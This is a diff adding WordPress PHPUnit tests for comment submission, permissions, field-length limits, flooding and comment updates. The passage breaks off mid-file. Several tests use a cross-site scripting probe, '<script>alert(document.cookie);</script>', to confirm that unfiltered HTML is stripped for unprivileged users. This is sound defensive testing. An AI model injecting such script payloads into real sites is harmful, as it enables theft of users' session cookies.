+	public function test_submitting_comment_to_draft_post_returns_error_message_for_user_with_correct_caps() {
+		$error = 'comment_on_draft';
+
+		$user = self::factory()->user->create_and_get( array(
+			'role' => 'author',
+		) );
+
+		wp_set_current_user( $user->ID );
+
+		$this->assertSame( 0, did_action( $error ) );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'draft',
+			'post_author' => $user->ID,
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertSame( 1, did_action( $error ) );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+		$this->assertNotEmpty( $comment->get_error_message() );
+	}
+
+	public function test_submitting_comment_to_scheduled_post_returns_error() {
+
+		// Same error as commenting on a draft
+		$error = 'comment_on_draft';
+
+		$this->assertSame( 0, did_action( $error ) );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_date' => date( 'Y-m-d H:i:s', strtotime( '+1 day' ) ),
+		) );
+
+		$this->assertSame( 'future', $post->post_status );
+
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertSame( 1, did_action( $error ) );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_to_password_required_post_returns_error() {
+
+		$error = 'comment_on_password_protected';
+
+		$this->assertSame( 0, did_action( $error ) );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_password' => 'password',
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertSame( 1, did_action( $error ) );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_to_password_protected_post_succeeds() {
+
+		$password = 'password';
+		$hasher   = new PasswordHash( 8, true );
+
+		$_COOKIE['wp-postpass_' . COOKIEHASH] = $hasher->HashPassword( $password );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_password' => $password,
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+			'author'          => 'Comment Author',
+			'email'           => 'comment@example.org',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		unset( $_COOKIE['wp-postpass_' . COOKIEHASH] );
+
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+
+	}
+
+	public function test_submitting_valid_comment_as_logged_in_user_succeeds() {
+
+		$user = self::factory()->user->create_and_get( array(
+			'user_url' => 'http://user.example.org'
+		) );
+
+		wp_set_current_user( $user->ID );
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+
+		$this->assertSame( 'Comment', $comment->comment_content);
+		$this->assertSame( $user->display_name, $comment->comment_author );
+		$this->assertSame( $user->user_email, $comment->comment_author_email );
+		$this->assertSame( $user->user_url, $comment->comment_author_url );
+		$this->assertSame( $user->ID, intval( $comment->user_id ) );
+
+	}
+
+	public function test_submitting_valid_comment_anonymously_succeeds() {
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+			'author'          => 'Comment Author',
+			'email'           => 'comment@example.org',
+			'url'             => 'user.example.org'
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+
+		$this->assertSame( 'Comment', $comment->comment_content);
+		$this->assertSame( 'Comment Author', $comment->comment_author );
+		$this->assertSame( 'comment@example.org', $comment->comment_author_email );
+		$this->assertSame( 'http://user.example.org', $comment->comment_author_url );
+		$this->assertSame( '0', $comment->user_id );
+
+	}
+
+	/**
+	 * wp_handle_comment_submission() expects un-slashed data.
+	 *
+	 * @group slashes
+	 */
+	public function test_submitting_comment_handles_slashes_correctly_handles_slashes() {
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment with 1 slash: \\',
+			'author'          => 'Comment Author with 1 slash: \\',
+			'email'           => 'comment@example.org',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+
+		$this->assertSame( 'Comment with 1 slash: \\', $comment->comment_content);
+		$this->assertSame( 'Comment Author with 1 slash: \\', $comment->comment_author );
+		$this->assertSame( 'comment@example.org', $comment->comment_author_email );
+
+	}
+
+	public function test_submitting_comment_anonymously_to_private_post_returns_error() {
+
+		$error = 'comment_id_not_found';
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'private',
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertFalse( is_user_logged_in() );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_as_logged_in_user_to_inaccessible_private_post_returns_error() {
+
+		$error  = 'comment_id_not_found';
+
+		$author = self::factory()->user->create_and_get( array(
+			'role' => 'author',
+		) );
+		$user   = self::factory()->user->create_and_get( array(
+			'role' => 'author',
+		) );
+
+		wp_set_current_user( $user->ID );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'private',
+			'post_author' => $author->ID,
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertFalse( current_user_can( 'read_post', $post->ID ) );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_to_private_post_with_closed_comments_returns_correct_error() {
+
+		$error  = 'comment_id_not_found';
+
+		$author = self::factory()->user->create_and_get( array(
+			'role' => 'author',
+		) );
+		$user   = self::factory()->user->create_and_get( array(
+			'role' => 'author',
+		) );
+
+		wp_set_current_user( $user->ID );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_status'    => 'private',
+			'post_author'    => $author->ID,
+			'comment_status' => 'closed',
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertFalse( current_user_can( 'read_post', $post->ID ) );
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_to_own_private_post_succeeds() {
+
+		$user = self::factory()->user->create_and_get();
+
+		wp_set_current_user( $user->ID );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'private',
+			'post_author' => $user->ID,
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertTrue( current_user_can( 'read_post', $post->ID ) );
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+
+	}
+
+	public function test_submitting_comment_to_accessible_private_post_succeeds() {
+
+		$author = self::factory()->user->create_and_get( array(
+			'role' => 'author',
+		) );
+		$user = self::factory()->user->create_and_get( array(
+			'role' => 'editor',
+		) );
+
+		wp_set_current_user( $user->ID );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'private',
+			'post_author' => $author->ID,
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertTrue( current_user_can( 'read_post', $post->ID ) );
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+
+	}
+
+	public function test_anonymous_user_cannot_comment_unfiltered_html() {
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment <script>alert(document.cookie);</script>',
+			'author'          => 'Comment Author',
+			'email'           => 'comment@example.org',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+		$this->assertNotContains( '<script', $comment->comment_content );
+
+	}
+
+	public function test_unprivileged_user_cannot_comment_unfiltered_html() {
+
+		$user = self::factory()->user->create_and_get( array(
+			'role' => 'author',
+		) );
+		wp_set_current_user( $user->ID );
+
+		$this->assertFalse( current_user_can( 'unfiltered_html' ) );
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment <script>alert(document.cookie);</script>',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+		$this->assertNotContains( '<script', $comment->comment_content );
+
+	}
+
+	public function test_unprivileged_user_cannot_comment_unfiltered_html_even_with_valid_nonce() {
+
+		$user = self::factory()->user->create_and_get( array(
+			'role' => 'author',
+		) );
+		wp_set_current_user( $user->ID );
+
+		$this->assertFalse( current_user_can( 'unfiltered_html' ) );
+
+		$post   = self::factory()->post->create_and_get();
+		$action = 'unfiltered-html-comment_' . $post->ID;
+		$nonce  = wp_create_nonce( $action );
+
+		$this->assertNotEmpty( wp_verify_nonce( $nonce, $action ) );
+
+		$data = array(
+			'comment_post_ID'             => $post->ID,
+			'comment'                     => 'Comment <script>alert(document.cookie);</script>',
+			'_wp_unfiltered_html_comment' => $nonce,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+		$this->assertNotContains( '<script', $comment->comment_content );
+
+	}
+
+	public function test_privileged_user_can_comment_unfiltered_html_with_valid_nonce() {
+
+		$this->assertFalse( defined( 'DISALLOW_UNFILTERED_HTML' ) );
+
+		$user = self::factory()->user->create_and_get( array(
+			'role' => 'editor',
+		) );
+
+		if ( is_multisite() ) {
+			// In multisite, only Super Admins can post unfiltered HTML
+			$this->assertFalse( user_can( $user->ID, 'unfiltered_html' ) );
+			grant_super_admin( $user->ID );
+		}
+
+		wp_set_current_user( $user->ID );
+
+		$this->assertTrue( current_user_can( 'unfiltered_html' ) );
+
+		$post   = self::factory()->post->create_and_get();
+		$action = 'unfiltered-html-comment_' . $post->ID;
+		$nonce  = wp_create_nonce( $action );
+
+		$this->assertNotEmpty( wp_verify_nonce( $nonce, $action ) );
+
+		$data = array(
+			'comment_post_ID'             => $post->ID,
+			'comment'                     => 'Comment <script>alert(document.cookie);</script>',
+			'_wp_unfiltered_html_comment' => $nonce,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+		$this->assertContains( '<script', $comment->comment_content );
+
+	}
+
+	public function test_privileged_user_cannot_comment_unfiltered_html_without_valid_nonce() {
+
+		$user = self::factory()->user->create_and_get( array(
+			'role' => 'editor',
+		) );
+
+		if ( is_multisite() ) {
+			// In multisite, only Super Admins can post unfiltered HTML
+			$this->assertFalse( user_can( $user->ID, 'unfiltered_html' ) );
+			grant_super_admin( $user->ID );
+		}
+
+		wp_set_current_user( $user->ID );
+
+		$this->assertTrue( current_user_can( 'unfiltered_html' ) );
+
+		$post   = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment <script>alert(document.cookie);</script>',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertNotWPError( $comment );
+		$this->assertInstanceOf( 'WP_Comment', $comment );
+		$this->assertNotContains( '<script', $comment->comment_content );
+
+	}
+
+	public function test_submitting_comment_as_anonymous_user_when_registration_required_returns_error() {
+
+		$error = 'not_logged_in';
+
+		$_comment_registration = get_option( 'comment_registration' );
+		update_option( 'comment_registration', '1' );
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		update_option( 'comment_registration', $_comment_registration );
+
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_with_no_name_when_name_email_required_returns_error() {
+
+		$error = 'require_name_email';
+
+		$_require_name_email = get_option( 'require_name_email' );
+		update_option( 'require_name_email', '1' );
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+			'email'           => 'comment@example.org',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		update_option( 'require_name_email', $_require_name_email );
+
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_with_no_email_when_name_email_required_returns_error() {
+
+		$error = 'require_name_email';
+
+		$_require_name_email = get_option( 'require_name_email' );
+		update_option( 'require_name_email', '1' );
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+			'author'          => 'Comment Author',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		update_option( 'require_name_email', $_require_name_email );
+
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_with_invalid_email_when_name_email_required_returns_error() {
+
+		$error = 'require_valid_email';
+
+		$_require_name_email = get_option( 'require_name_email' );
+		update_option( 'require_name_email', '1' );
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+			'author'          => 'Comment Author',
+			'email'           => 'not_an_email',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		update_option( 'require_name_email', $_require_name_email );
+
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	public function test_submitting_comment_with_no_comment_content_returns_error() {
+
+		$error = 'require_valid_comment';
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => '',
+			'author'          => 'Comment Author',
+			'email'           => 'comment@example.org',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+
+	}
+
+	/**
+	 * @ticket 10377
+	 */
+	public function test_submitting_comment_with_content_too_long_returns_error() {
+		$error = 'comment_content_column_length';
+
+		$post = self::factory()->post->create_and_get();
+
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => rand_long_str( 65536 ),
+			'author'          => 'Comment Author',
+			'email'           => 'comment@example.org',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+	}
+
+	/**
+	 * @ticket 10377
+	 */
+	public function test_submitting_comment_with_author_too_long_returns_error() {
+		$error = 'comment_author_column_length';
+
+		$post = self::factory()->post->create_and_get();
+
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+			'author'          => rand_long_str( 255 ),
+			'email'           => 'comment@example.org',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+	}
+
+	/**
+	 * @ticket 10377
+	 */
+	public function test_submitting_comment_with_email_too_long_returns_error() {
+		$error = 'comment_author_email_column_length';
+
+		$post = self::factory()->post->create_and_get();
+
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+			'author'          => 'Comment Author',
+			'email'           => rand_long_str( 90 ) . '@example.com',
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+	}
+
+	/**
+	 * @ticket 10377
+	 */
+	public function test_submitting_comment_with_url_too_long_returns_error() {
+		$error = 'comment_author_url_column_length';
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+			'author'          => 'Comment Author',
+			'email'           => 'comment@example.org',
+			'url'             => rand_long_str( 201 ),
+		);
+		$comment = wp_handle_comment_submission( $data );
+
+		$this->assertWPError( $comment );
+		$this->assertSame( $error, $comment->get_error_code() );
+	}
+
+	/**
+	 * @ticket 34997
+	 */
+	public function test_comment_submission_sends_all_expected_parameters_to_preprocess_comment_filter() {
+
+		$user = self::factory()->user->create_and_get( array(
+			'role' => 'author',
+		) );
+		wp_set_current_user( $user->ID );
+
+		$post = self::factory()->post->create_and_get();
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Comment',
+		);
+
+		add_filter( 'preprocess_comment', array( $this, 'filter_preprocess_comment' ) );
+
+		$comment = wp_handle_comment_submission( $data );
+
+		remove_filter( 'preprocess_comment', array( $this, 'filter_preprocess_comment' ) );
+
+		$this->assertNotWPError( $comment );
+		$this->assertEquals( array(
+			'comment_post_ID'      => $post->ID,
+			'comment_author'       => $user->display_name,
+			'comment_author_email' => $user->user_email,
+			'comment_author_url'   => $user->user_url,
+			'comment_content'      => $data['comment'],
+			'comment_type'         => '',
+			'comment_parent'       => '0',
+			'user_ID'              => $user->ID,
+			'user_id'              => $user->ID,
+		), $this->preprocess_comment_data );
+
+	}
+
+	public function filter_preprocess_comment( $commentdata ) {
+		$this->preprocess_comment_data = $commentdata;
+		return $commentdata;
+	}
+
+	/**
+	 * @ticket 36901
+	 */
+	public function test_submitting_duplicate_comments() {
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'publish',
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Did I say that?',
+			'author'          => 'Repeat myself',
+			'email'           => 'mail@example.com',
+		);
+		$first_comment = wp_handle_comment_submission( $data );
+		$second_comment = wp_handle_comment_submission( $data );
+		$this->assertWPError( $second_comment );
+		$this->assertSame( 'comment_duplicate', $second_comment->get_error_code() );
+	}
+
+	/**
+	 * @ticket 36901
+	 */
+	public function test_comments_flood() {
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'publish',
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Did I say that?',
+			'author'          => 'Repeat myself',
+			'email'           => 'mail@example.com',
+		);
+		$first_comment = wp_handle_comment_submission( $data );
+
+		$data['comment'] = 'Wow! I am quick!';
+		$second_comment = wp_handle_comment_submission( $data );
+
+		$this->assertWPError( $second_comment );
+		$this->assertSame( 'comment_flood', $second_comment->get_error_code() );
+	}
+
+	/**
+	 * @ticket 36901
+	 */
+	public function test_comments_flood_user_is_admin() {
+		$user = self::factory()->user->create_and_get( array(
+			'role' => 'administrator',
+		) );
+		wp_set_current_user( $user->ID );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'publish',
+		) );
+		$data = array(
+			'comment_post_ID' => $post->ID,
+			'comment'         => 'Did I say that?',
+			'author'          => 'Repeat myself',
+			'email'           => 'mail@example.com',
+		);
+		$first_comment = wp_handle_comment_submission( $data );
+
+		$data['comment'] = 'Wow! I am quick!';
+		$second_comment = wp_handle_comment_submission( $data );
+
+		$this->assertNotWPError( $second_comment );
+		$this->assertEquals( $post->ID, $second_comment->comment_post_ID );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment.php	(revision 56912)
@@ -0,0 +1,1130 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment extends WP_UnitTestCase {
+	protected static $user_id;
+	protected static $post_id;
+
+	public function setUp() {
+		parent::setUp();
+		reset_phpmailer_instance();
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$user_id = $factory->user->create( array(
+			'role'       => 'author',
+			'user_login' => 'test_wp_user_get',
+			'user_pass'  => 'password',
+			'user_email' => 'test@test.com',
+		) );
+
+		self::$post_id = $factory->post->create( array(
+			'post_author' => self::$user_id
+		) );
+	}
+
+	function test_wp_update_comment() {
+		$post = self::factory()->post->create_and_get( array( 'post_title' => 'some-post', 'post_type' => 'post' ) );
+		$post2 = self::factory()->post->create_and_get( array( 'post_title' => 'some-post-2', 'post_type' => 'post' ) );
+		$comments = self::factory()->comment->create_post_comments( $post->ID, 5 );
+		$result = wp_update_comment( array( 'comment_ID' => $comments[0], 'comment_parent' => $comments[1] ) );
+		$this->assertEquals( 1, $result );
+		$comment = get_comment( $comments[0] );
+		$this->assertEquals( $comments[1], $comment->comment_parent );
+		$result = wp_update_comment( array( 'comment_ID' => $comments[0], 'comment_parent' => $comments[1] ) );
+		$this->assertEquals( 0, $result );
+		$result = wp_update_comment( array( 'comment_ID' => $comments[0], 'comment_post_ID' => $post2->ID ) );
+		$comment = get_comment( $comments[0] );
+		$this->assertEquals( $post2->ID, $comment->comment_post_ID );
+	}
+
+	/**
+	 * @ticket 30627
+	 */
+	function test_wp_update_comment_updates_comment_type() {
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id ) );
+
+		wp_update_comment( array( 'comment_ID' => $comment_id, 'comment_type' => 'pingback' ) );
+
+		$comment = get_comment( $comment_id );
+		$this->assertEquals( 'pingback', $comment->comment_type );
+	}
+
+	/**
+	 * @ticket 36784
+	 */
+	function test_wp_update_comment_updates_comment_meta() {
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id ) );
+		wp_update_comment( array(
+			'comment_ID' => $comment_id,
+			'comment_meta' => array(
+				'food' => 'taco',
+				'sauce' => 'fire',
+			),
+		) );
+		$this->assertEquals( 'fire', get_comment_meta( $comment_id, 'sauce', true ) );
+	}
+
+	/**
+	 * @ticket 30307
+	 */
+	function test_wp_update_comment_updates_user_id() {
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id ) );
+
+		wp_update_comment( array( 'comment_ID' => $comment_id, 'user_id' => 1 ) );
+
+		$comment = get_comment( $comment_id );
+		$this->assertEquals( 1, $comment->user_id );
+	}
+
+	/**
+	 * @ticket 34954
+	 */
+	function test_wp_update_comment_with_no_post_id() {
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => 0 ) );
+
+		$updated_comment_text = 'I should be able to update a comment with a Post ID of zero';
+
+		$update = wp_update_comment( array( 'comment_ID' => $comment_id, 'comment_content' => $updated_comment_text, 'comment_post_ID' => 0 ) );
+		$this->assertSame( 1, $update );
+
+		$comment = get_comment( $comment_id );
+		$this->assertEquals( $updated_comment_text, $comment->comment_content );
+	}
+
+	public function test_get_approved_comments() {
+		$ca1 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id, 'comment_approved' => '1'
+		) );
+		$ca2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id, 'comment_approved' => '1'
+		) );
+		$ca3 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id, 'comment_approved' => '0'
+		) );
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback'
+		) );
+		$c3 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback'
+		) );
+		$c4 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario'
+		) );
+		$c5 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi'
+		) );
+
+		$found = get_approved_comments( self::$post_id );
+
+		// all comments types will be returned
+		$this->assertEquals( array( $ca1, $ca2, $c2, $c3, $c4, $c5 ), wp_list_pluck( $found, 'comment_ID' ) );
+	}
+
+	/**
+	 * @ticket 30412
+	 */
+	public function test_get_approved_comments_with_post_id_0_should_return_empty_array() {
+		$ca1 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id, 'comment_approved' => '1'
+		) );
+
+		$found = get_approved_comments( 0 );
+
+		$this->assertSame( array(), $found );
+	}
+
+	/**
+	 * @ticket 14279
+	 */
+	public function test_wp_new_comment_respects_dates() {
+		$data = array(
+			'comment_post_ID' => self::$post_id,
+			'comment_author' => 'Comment Author',
+			'comment_author_url' => '',
+			'comment_author_email' => '',
+			'comment_type' => '',
+			'comment_content' => 'Comment',
+			'comment_date' => '2011-01-01 10:00:00',
+			'comment_date_gmt' => '2011-01-01 10:00:00',
+		);
+
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment( $id );
+
+		$this->assertEquals( $data['comment_date'], $comment->comment_date );
+		$this->assertEquals( $data['comment_date_gmt'], $comment->comment_date_gmt );
+	}
+
+	/**
+	 * @ticket 14601
+	 */
+	public function test_wp_new_comment_respects_author_ip() {
+		$data = array(
+			'comment_post_ID'      => self::$post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_IP'    => '192.168.1.1',
+			'comment_author_url'   => '',
+			'comment_author_email' => '',
+			'comment_type'         => '',
+			'comment_content'      => 'Comment',
+		);
+
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment( $id );
+
+		$this->assertEquals( $data['comment_author_IP'], $comment->comment_author_IP );
+	}
+
+	/**
+	 * @ticket 14601
+	 */
+	public function test_wp_new_comment_respects_author_ip_empty_string() {
+		$data = array(
+			'comment_post_ID'      => self::$post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_IP'    => '',
+			'comment_author_url'   => '',
+			'comment_author_email' => '',
+			'comment_type'         => '',
+			'comment_content'      => 'Comment',
+		);
+
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment( $id );
+
+		$this->assertEquals( $data['comment_author_IP'], $comment->comment_author_IP );
+	}
+
+	/**
+	 * @ticket 14601
+	 */
+	public function test_wp_new_comment_respects_comment_agent() {
+		$data = array(
+			'comment_post_ID'      => self::$post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_IP'    => '',
+			'comment_author_url'   => '',
+			'comment_author_email' => '',
+			'comment_agent'        => 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53',
+			'comment_type'         => '',
+			'comment_content'      => 'Comment',
+		);
+
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment( $id );
+
+		$this->assertEquals( $data['comment_agent'], $comment->comment_agent );
+	}
+
+	/**
+	 * @ticket 14601
+	 */
+	public function test_wp_new_comment_should_trim_provided_comment_agent_to_254_chars() {
+		$data = array(
+			'comment_post_ID'      => self::$post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_IP'    => '',
+			'comment_author_url'   => '',
+			'comment_author_email' => '',
+			'comment_agent'        => 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.4pre) Gecko/20070511 Camino/1.6pre',
+			'comment_type'         => '',
+			'comment_content'      => 'Comment',
+		);
+
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment( $id );
+
+		$this->assertEquals( 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS ', $comment->comment_agent );
+	}
+
+	/**
+	 * @ticket 14601
+	 */
+	public function test_wp_new_comment_respects_comment_agent_empty_string() {
+		$data = array(
+			'comment_post_ID'      => self::$post_id,
+			'comment_author'       => 'Comment Author',
+			'comment_author_IP'    => '',
+			'comment_author_url'   => '',
+			'comment_author_email' => '',
+			'comment_agent'        => '',
+			'comment_type'         => '',
+			'comment_content'      => 'Comment',
+		);
+
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment( $id );
+
+		$this->assertEquals( $data['comment_agent'], $comment->comment_agent );
+	}
+
+
+	public function test_comment_field_lengths() {
+		$data = array(
+			'comment_post_ID' => self::$post_id,
+			'comment_author' => 'Comment Author',
+			'comment_author_url' => '',
+			'comment_author_email' => '',
+			'comment_type' => '',
+			'comment_content' => str_repeat( 'A', 65536 ),
+			'comment_date' => '2011-01-01 10:00:00',
+			'comment_date_gmt' => '2011-01-01 10:00:00',
+		);
+
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment( $id );
+
+		$this->assertEquals( strlen( $comment->comment_content ), 65535 );
+	}
+
+	/**
+	 * @ticket 32566
+	 */
+	public function test_wp_notify_moderator_should_not_throw_notice_when_post_author_is_0() {
+		$p = self::factory()->post->create( array(
+			'post_author' => 0,
+		) );
+
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+		) );
+
+		$this->assertTrue( wp_notify_moderator( $c ) );
+	}
+
+	public function test_wp_new_comment_notify_postauthor_should_send_email_when_comment_is_approved() {
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+		) );
+
+		$sent = wp_new_comment_notify_postauthor( $c );
+		$this->assertTrue( $sent );
+	}
+
+	public function test_wp_new_comment_notify_postauthor_should_not_send_email_when_comment_is_unapproved() {
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '0',
+		) );
+
+		$sent = wp_new_comment_notify_postauthor( $c );
+		$this->assertFalse( $sent );
+	}
+
+	/**
